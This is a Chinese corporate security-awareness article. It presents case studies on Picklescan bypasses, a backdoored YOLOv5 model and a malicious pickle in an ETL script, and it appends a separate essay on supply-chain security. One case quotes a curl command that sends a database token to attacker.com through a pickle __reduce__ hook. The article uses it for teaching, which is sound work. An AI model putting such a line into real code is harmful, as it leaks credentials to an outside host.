AI 时代的安全警钟——从模型到代码,防线从何而筑?

在信息化、智能化、数智化浪潮汹涌而来的今天,企业的业务边界已经不再是传统的防火墙与局域网,而是遍布在每一段模型训练、每一次云端推理、每一行代码提交之中。若要让全体职工在这片新蓝海中安然航行,首先必须在脑海里点燃“三大安全案例”的火花——通过真实、典型且富有教育意义的事件,让大家切身体会“一条防线失守,整条链路皆危”的严峻现实。


案例一:Picklescan 失效,恶意 PyTorch 模型暗藏“炸弹”

事件概述
2025 年 6 月,开源安全公司 JFrog 在其年度安全报告中披露,Picklescan(用于检测 Python pickle 文件的安全扫描工具)存在三大 CVE(CVE‑2025‑10155/10156/10157),攻击者可利用这些缺陷在 PyTorch 模型文件中植入恶意 pickle 负载,绕过扫描直接执行任意代码。随后,某大型金融机构在生产环境中加载了一个经由第三方供应商提供的 .pt 模型,模型在加载瞬间触发了恶意代码——该代码利用内部管理凭证拉取敏感数据库,并在数秒内完成数据外泄。

技术细节
1. 文件扩展名绕过(CVE‑2025‑10155):Picklescan 仅对扩展名为 .pkl 的文件进行严格校验,攻击者将恶意 pickle 保存为 .pt(PyTorch 常用后缀)后提交,扫描工具误判为安全模型。
2. ZIP CRC 错误(CVE‑2025‑10156):若模型以压缩包形式交付,攻击者在压缩时故意制造 CRC 校验错误,使得 Picklescan 在解压阶段直接跳过文件内容的完整性校验。
3. 全局变量检查失效(CVE‑2025‑10157):Picklescan 通过 blocklist 阻止 os.systemsubprocess.Popen 等危险调用,但攻击者将这些调用包装在自定义类的 __reduce__ 方法中,逃过检测。

教训与启示
单点防御的局限:仅依赖 Picklescan 这类“黑名单”式工具,无法覆盖所有新兴的攻击向量;必须配合白名单、行为监控以及沙箱执行等多层防御。
供应链安全的全链路审计:模型来源、传输、存储、加载全程应建立可信链(TPM、代码签名、元数据校验),防止恶意代码藏匿在合法文件的背后。
及时补丁与版本管控:该漏洞在 2025 年 9 月已通过 Picklescan 0.0.31 修复,但仍有大量旧版工具在企业内部流转,导致“老旧”成为黑客的“温床”。


案例二:AI 供应链暗流——受污染的目标检测模型让无人车“失控”

事件概述
2025 年 11 月,一家国内领先的自动驾驶系统集成商在路测中遭遇“碰撞危机”。经事故复盘,技术团队发现其使用的 YOLOv5 目标检测模型被植入了隐蔽的后门函数——一旦检测到特定的道路标识(例如红十字标志),模型会向控制模块返回错误的位置信息,导致车辆误判路径,几乎触发严重事故。后续调查显示,模型原作者在 GitHub 开源仓库中发布了受污染的模型文件,攻击者通过社交工程手段诱导该公司采购了此模型。

技术细节
模型权重篡改:在 YOLO 的 .pt 权重文件中加入了自定义层 BackdoorLayer,该层在检测到特定像素分布时返回极低的置信度,使得实际障碍物被“忽略”。
隐蔽激活条件:后门仅在识别到红十字图案时激活,且激活机制通过 torch.nn.functional.relu 包装,普通测试难以捕获。
供应链缺乏验证:公司未对模型签名进行核验,也未对模型行为进行离线安全评估,导致后门在正式部署后才被触发。

教训与启示
模型可信度评估必不可少:对所有第三方模型进行“安全审计”,包括静态检查(权重文件哈希比对、模型结构对比)和动态监测(异常输出、激活模式分析)。
强化供应链审计制度:建立模型来源白名单制度,所有模型必须通过内部安全团队的签名验证后方可使用。
安全意识渗透到研发环节:研发人员应掌握基本的 AI 安全概念,了解模型篡改、对抗样本等威胁,做到“写代码前先想安全”。


案例三:内部威胁——恶意 pickle 藏匿在数据清洗脚本中窃取口令

事件概述
一家国内大型电商平台的日志分析团队在对用户行为日志进行离线清洗时,误用了一个同事提交的 Python 脚本。该脚本在读取 pickle.load 时,实际载入了一个伪装成 “数据字典” 的对象。该对象的 __reduce__ 方法触发了 subprocess.Popen('curl http://attacker.com/steal?token=' + os.getenv('DB_TOKEN')),从而将内部数据库访问令牌泄漏至外部服务器。最终,攻击者利用该令牌对平台的订单系统进行未授权查询,造成约 200 万元的经济损失。

技术细节
内部代码审计缺失:该脚本未经过安全审计即被直接推送至生产环境的 ETL 流程。
pickle 的双刃剑特性:pickle 能在反序列化时执行任意对象的 __reduce__,若未对输入进行白名单校验,极易被滥用。
凭证管理不当:DB_TOKEN 直接作为环境变量暴露,未使用密钥管理系统(KMS)进行加密或访问审计。

教训与启示
最小权限原则(Least Privilege):脚本执行环境应仅授予读取日志的权限,禁止对外网络请求及系统命令执行。
安全编码规范:禁止在业务代码中直接使用 pickle.load,推荐使用更安全的序列化方式(如 JSON、MessagePack)或在 pickle 前加入安全解码层。
内部威胁防御体系:对内部代码的审计、代码审查(Code Review)以及运行时行为监控(如 Sysdig、Falco)必须落地执行。


数据化、智能化、数智化时代的安全挑战

随着 数据化(Data‑driven)加速企业决策、智能化(AI‑enabled)提升业务效率、数智化(Digital‑Intelligent)实现业务全景感知,安全的攻击面也随之指数级扩大。下面,我们从三个维度剖析当下的安全痛点,并给出对应的防御建议,帮助全体职工在即将开启的信息安全意识培训中快速入门、深度提升。

1️⃣ 数据化:信息资产的价值翻番,泄露成本也成倍增长

  • 数据孤岛 vs. 数据湖:企业正从分散的业务系统向统一的数据湖迁移,数据在传输、存储、加工的每一步都可能被拦截。
  • 防御要点:采用 加密传输(TLS 1.3)端到端加密(E2EE),对重要字段(如用户手机号、支付信息)进行 字段级加密,并实施 细粒度访问控制(RBAC/ABAC)

2️⃣ 智能化:AI 模型成为新型“业务核心”,亦是攻击新入口

  • 模型即代码:每一次模型的训练、微调、上线都相当于一次代码提交,若缺乏 CI/CD 安全审计,潜在的后门、漏洞会随模型一起流向生产。

  • 防御要点:构建 AI 安全 DevSecOps 流水线——模型注册前进行 静态分析(模型结构审计)动态监控(推理异常检测),并使用 模型签名、哈希校验 确保版本唯一性。

3️⃣ 数智化:业务闭环与自动化决策提升效率,也让攻击者拥有更快的“破环”渠道

  • 自动化响应的双刃剑:自动化运维脚本若被植入恶意指令,可能在几秒内完成横向渗透。
  • 防御要点:对 自动化脚本 实行 审计日志强制记录,使用 行为基线(Behavioural Baseline) 检测异常指令,结合 零信任网络访问(ZTNA) 限制横向移动。

号召:让每一位职工成为信息安全的“第一道防线”

“知己知彼,百战不殆。”
—《孙子兵法》

在数智化的浪潮中,安全不再是 IT 的专属职责,而是每个人的日常工作习惯。为此,公司即将在本月启动 《信息安全意识提升培训》 系列课件,内容涵盖:

  1. 基础安全概念:密码学、访问控制、最小权限。
  2. AI 与模型安全:Picklescan 漏洞案例、模型签名、对抗样本防御。
  3. 供应链安全:开源组件审计、第三方模型白名单、软件供应链可视化。
  4. 内部威胁防御:代码审查最佳实践、敏感信息脱敏、行为监控。
  5. 应急响应演练:从发现异常到联动处置的完整流程(红队/蓝队对抗)。

培训形式与激励机制

形式 时间 参与方式 奖励
线上微课(10 分钟) 每周一、三 通过公司学习平台观看并答题 完成率达 90% 以上者可获 “安全先锋” 电子徽章
案例研讨(30 分钟) 每周四 小组讨论 Picklescan 案例、模型后门、内部威胁 最佳小组将获得 安全基金 200 元
实战演练(1 小时) 每月最后一个星期五 沙箱环境下进行恶意模型检测与阻断 通过演练者将加入公司 红蓝对抗 预备队

如何做好“安全自检”

  1. 每日一次密码检查:确保使用公司密码管理器生成的 16 位以上复杂密码,避免在笔记本、浏览器保存明文。
  2. 每周一次模型审计:对新引入的 AI 模型执行 sha256sum 校验,并在内部仓库登记版本、来源。
  3. 每月一次权限回溯:使用 IAM 报表审计最近 30 天的权限变更,及时撤销不再需要的高危权限。
  4. 每季一次安全演练:参与公司组织的红蓝对抗,了解攻击路径与防御手段,提升实战经验。

温馨提示:安全培训不是“走过场”。当你在会议室里听完 10 分钟的微课后,请立即打开学习平台完成测验;当你在代码评审时发现不安全的 pickle.load 用法,请主动报告给安全团队;当你在部署模型前没有做签名校验,请提醒同事立即回滚。每一次主动的安全举动,都可能拯救公司的千万元资产。


结语:安全是一场没有终点的马拉松

在 AI 迅猛发展的今天,技术的每一次创新都可能带来新的攻击面。Picklescan 的三大漏洞提醒我们:黑名单永远追不完新技术的“脚印”供应链安全必须全链路、全生命周期监控内部威胁同样不容忽视。只有把安全意识渗透到每一次代码提交、每一次模型下载、每一次数据传输之中,才能让企业在激流中稳健前行。

亲爱的同事们,让我们从今天起,以案例为镜、以培训为砥砺,一起筑起一座“数据‑AI‑业务”三位一体的安全防火墙。信息安全不是一个部门的事,而是每个人的职责;安全意识不是一次培训的结束,而是日常工作的常态。愿我们在即将开启的培训中,收获知识、提升技能、增进信任,共同守护公司的数字未来!

信息安全,人人有责;防线筑起,众志成城。

昆明亭长朗然科技有限公司致力于打造智能化信息安全解决方案,通过AI和大数据技术提升企业的风险管理水平。我们的产品不仅具备先进性,还注重易用性,以便用户更好地运用。对此类解决方案感兴趣的客户,请联系我们获取更多信息。

  • 电话:0871-67122372
  • 微信、手机:18206751343
  • 邮件:info@securemymind.com
  • QQ: 1767022898

供应链安全威胁管理

supply-chain-security-management-broken

放眼全球各产业界,分工越来越细化,各企业在专注于核心竞争力的同时,也将工作重点聚焦于全球供应链之上。在质量、成本、速度、效率等业绩指标的压力下,安全方面的投入只能被一再挤压,天平开始失衡。

继2013年Target严重信息泄露事故之后,近年来,一连串的公司信息失窃案件特别是超市、百货、连锁、电商等行业的信息泄露事故多得让人揪心。这些安全事故中有不少是“冤大头”,就如同Home Depot和Goodwill这类的被黑客通过第三方厂商做跳板而光顾的。

一家企业,不管规模有多大,业务有多综合,也难避免会使用到第三方厂商的产品。然而,第三方厂商特别是小众化产品的安全使用问题长期以来都被忽视,五花八门的第三方厂商很可能并没有健全的产品安全漏洞修复机制,毕竟他们并不像Windows那些普及和常见。即使是自行开发的应用系统,也可能会在基本功能得到满足之后,缺乏长期的维护改进,特别是对所依赖的第三方中间件、控件或插件等等部件的安全审核。

环顾全球,世界越来越平坦,在全球性的供应链运行体中,与第三方的业务信息交换只会越来越多,与第三方的网络连接也只会越来越复杂,想想入侵Target的犯罪分子,要绕道空调供应商,问路电子账单系统,借壳Web程序漏洞,拐进PoS终端,方才剑指SQL主机。不要以为这是小概率甚至不可能的事情,在巨大的利益诱惑下,常人眼中的不可能正是技术高超且步步为营的黑客们所乐见的。

放眼国内,业务流程和科技创新对安全的驱动和需求更应该早日引起我们的重视,在结构调整、职能转变、营改增、简化流程、放宽准入等国家经济宏观政策刺激之下,市场将重焕活力,社会分工与协同合作将更为细化,战略创新型、绿色节能环保型的产品和服务将大批涌现,在这一波浪潮中,创新型的安全产品和服务也将被催生出来,同时,传统的安全解决方案也面临着全新的重大挑战。

安全业务的分工细化将带来服务外包的蓬勃发展,基于互联网云计算的服务外包模式在西方发达国家已经被证明成功了,不过在国家安全的顾虑和意识形态的壁障面前,美国的互联网公司只能被国内的借鉴者们和改良者击退。分工细化也将促进更多供应链管理方面的安全问题,入侵跳板、后门程序等顾虑无疑会让企业增加对第三方产品及服务的安全审核工作和监管需求。大规模的协同合作及移动化让信息的创建、交易的达成、数据的访问不再局限于传统上的工作区域和工作用终端设备,IT解决方案的消费化,让云端系统应用、终端设备安全、人员安全意识的管理需求日益严峻。

传统上,来自内部的安全威胁特别是内贼往往是信息失窃的最大因素之一,说到供应链的安全威胁,我们还是逃不开人员管理问题。不要以为供应链上的所有厂商的工作人员都是职场上的道德模范,相反,他们最为熟悉供应链信息流程,甚至这其中的弱点,他们具有对其它厂商信息系统的一定访问权限,如果这些人员起了歹心,不用非常高明的黑客技术,他们也能轻易窃取大量重要信息并来进行私下贩卖获利。如果他们再勾结外部技艺高超的黑客组织,那对供应链的破坏力将是前所未有的。

除了那些在职的内部人员和供应链人员,那些离职后仍然在这个行业中混的,特别是跳槽到竞争者行列中的人员,威胁程度可能更高。服务提供商、外部顾问、合同工等等通过可信的第三方渠道获得网络和数据存储,继而酿成安全事故的案例近年来越来越多。

不少企业并没有足够的针对内部人员和供应链人员威胁的应对措施,或者有必要的离职手续如保密协议和反竞业协议,但却并没有得到足够的足够的重视和执行。

如何进行供应链安全管理呢?昆明亭长朗然科技有限公司业务信息安全顾问董志军表示:

一、永远不要大意!既然大家处于同一条供应链上,依据木桶理论,供应链的安全管理水平最弱之处,将成为企业安全管理的短板。同在一条船上,就不能简单地通过一份合约把信息安全事故责任推给供应方,而应该从保障整个产业链安全健康共同发展的角度来实施供应链安全管理。知名的跨国公司无一例外都会对供应链进行定期的信息安全审核,就如同对待环境保护、安全生产和劳工福利等热点问题一样,看看苹果公司和富士康公司相关的产品制造新闻就知道供应链的安全是多么的重要。

二、不要简单以为供应链安全管理就是上下游厂商之间的利益博弈,做好供应链安全管理其实也是多方共赢的一件好事儿。首先,管理好供应链安全的前提当然是建立自身的信息安全管理体系,如果自家的信息安全管理水平尚处于混沌状态,想加入一个利润丰富的产业链都难,所以产业链中处于强势地位的大客户往往是供应链厂商提升信息安全管理能力的外部驱动力。其次,即使供应链厂商已经建立起了基本的信息安全管理体系,仍然可能有很大的改进空间,通过相互的交叉审核,不仅可以沟通交流经验,取长补短,更能让整体产业链的安全管理最佳实践得以提升,同时强化厂商之间的业务粘性。最后,拥有领先的信息安全管理水平的厂商,无疑会成为供应链甚至全行业内的信息安全标竿,在促进品牌商业信誉度的同时,依靠这些无形资产占领价值链中的中高端。

三、在技术控管方面,加强供应链接入层面的访问控制及威胁侦测,除了部署常规的防火墙和入侵检测系统之外,在应用系统和数据存取层面也强化监控和审核力度。参照、建立和强化对第三方安全产品的评估和审核力度,防范出现不可控的安全事故——安全厂商及其所在主权国家监管机关通过后门技术或系统回传等功能窃取商业机密及用户个人信息。

四、在流程控管方面,除了强化供应链安全方面的风险评估之外,应该强化帐户和权限的管理,建立和改善企业与供应链之间的帐户与权限管理机制,进行供应链用户进行定期的业务需求及访问权限相关的回顾,启用双重身份验证机制,防止出现身份效用、帐户密码权限分享、离职人员帐户未及时删除等安全隐患。

五、在人员管理方面,不能仅仅例行公事般,让员工和供应链人员草草签署保密协定。问一问,人们真正的理解保密协定中的内容和精神吗?我们要沟通教育,要让人们理解这些保密协定的核心内容,并且真正认可和接受它们。如果在特定的社会环境和发展年代之下,职场人士的职业道德水平普遍较低下,那么在沟通教育方面,必要的反面的教育典型一定不可少,只有在足够的警示效应和惩戒威慑下,人们才会真正的尊重规则和遵守契约。

当前,我国经济面临产业升级和结构调整的大好机遇,深化国有企业和国资改革必将兼并重组一大批公司。在传统产业向产业链、价值链的高端延伸时,供应链安全威胁必将愈演愈烈。而在人均国民收入不断上升,劳动力红利逐渐消失,劳动密集性产业向东盟国家大规模转移的大趋势下,全球及区域供应链安全威胁的管理能力,必将成为企业管理的一项核心工作。请让我们做好准备!

昆明亭长朗然科技有限公司,专注于帮助各类型的机构强化人员的信息安全管理,除了针对内部员工的安全意识培训视频教程之外,我们也提供针对管理层的简要业务安全课程。这些课程重在讲信息安全相关的道理,也是实现企业安全文化建设的重要智力源泉。欢迎各位业务安全管理界的专业人员与我们联系,洽谈业务信息安全相关的培训合作。